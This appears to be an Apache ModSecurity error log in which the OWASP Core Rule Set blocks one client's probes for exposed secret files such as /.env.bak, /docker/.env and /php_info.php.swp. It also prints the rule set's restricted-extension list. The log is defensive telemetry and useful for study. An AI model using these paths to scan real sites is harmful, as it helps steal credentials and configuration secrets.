[Sun Nov 30 15:25:09.927600 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfQwAAAAM&quot;]
[Sun Nov 30 15:25:09.927809 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfQwAAAAM&quot;]
[Sun Nov 30 15:25:09.928003 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfQwAAAAM&quot;]
[Sun Nov 30 15:25:10.152208 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aSxTxkR0pJY8_qkvKEEfRAAAAAM&quot;]
[Sun Nov 30 15:25:10.152427 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aSxTxkR0pJY8_qkvKEEfRAAAAAM&quot;]
[Sun Nov 30 15:25:10.152630 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aSxTxkR0pJY8_qkvKEEfRAAAAAM&quot;]
[Sun Nov 30 15:25:10.602680 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aSxTxkR0pJY8_qkvKEEfRgAAAAM&quot;]
[Sun Nov 30 15:25:10.602861 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aSxTxkR0pJY8_qkvKEEfRgAAAAM&quot;]
[Sun Nov 30 15:25:10.603090 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aSxTxkR0pJY8_qkvKEEfRgAAAAM&quot;]
[Sun Nov 30 15:25:10.603297 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aSxTxkR0pJY8_qkvKEEfRgAAAAM&quot;]
[Sun Nov 30 15:25:11.505561 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSxTx0R0pJY8_qkvKEEfSgAAAAM&quot;]
[Sun Nov 30 15:25:11.505787 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSxTx0R0pJY8_qkvKEEfSgAAAAM&quot;]
[Sun Nov 30 15:25:11.506006 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSxTx0R0pJY8_qkvKEEfSgAAAAM&quot;]
[Sun Nov 30 15:25:11.731112 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSxTx0R0pJY8_qkvKEEfSwAAAAM&quot;]
[Sun Nov 30 15:25:11.731334 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSxTx0R0pJY8_qkvKEEfSwAAAAM&quot;]
[Sun Nov 30 15:25:11.731572 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSxTx0R0pJY8_qkvKEEfSwAAAAM&quot;]
[Sun Nov 30 15:25:11.731799 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSxTx0R0pJY8_qkvKEEfSwAAAAM&quot;]
[Sun Nov 30 15:25:12.180863 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aSxTyER0pJY8_qkvKEEfTQAAAAM&quot;]
[Sun Nov 30 15:25:12.181051 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aSxTyER0pJY8_qkvKEEfTQAAAAM&quot;]
[Sun Nov 30 15:25:12.181257 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aSxTyER0pJY8_qkvKEEfTQAAAAM&quot;]
[Sun Nov 30 15:25:12.181447 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aSxTyER0pJY8_qkvKEEfTQAAAAM&quot;]
[Sun Nov 30 15:25:12.405312 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.swp&quot;] [unique_id &quot;aSxTyER0pJY8_qkvKEEfTgAAAAM&quot;]
[Sun Nov 30 15:25:12.406488 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.swp&quot;] [unique_id &quot;aSxTyER0pJY8_qkvKEEfTgAAAAM&quot;]
[Sun Nov 30 15:25:12.406709 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.swp&quot;] [unique_id &quot;aSxTyER0pJY8_qkvKEEfTgAAAAM&quot;]
[Sun Nov 30 15:25:13.308633 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aSxTyUR0pJY8_qkvKEEfUgAAAAM&quot;]
[Sun Nov 30 15:25:13.308920 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aSxTyUR0pJY8_qkvKEEfUgAAAAM&quot;]
[Sun Nov 30 15:25:13.309194 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aSxTyUR0pJY8_qkvKEEfUgAAAAM&quot;]
[Sun Nov 30 15:25:13.759994 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aSxTyUR0pJY8_qkvKEEfVAAAAAM&quot;]
[Sun Nov 30 15:25:13.760247 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aSxTyUR0pJY8_qkvKEEfVAAAAAM&quot;]
[Sun Nov 30 15:25:13.760475 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aSxTyUR0pJY8_qkvKEEfVAAAAAM&quot;]
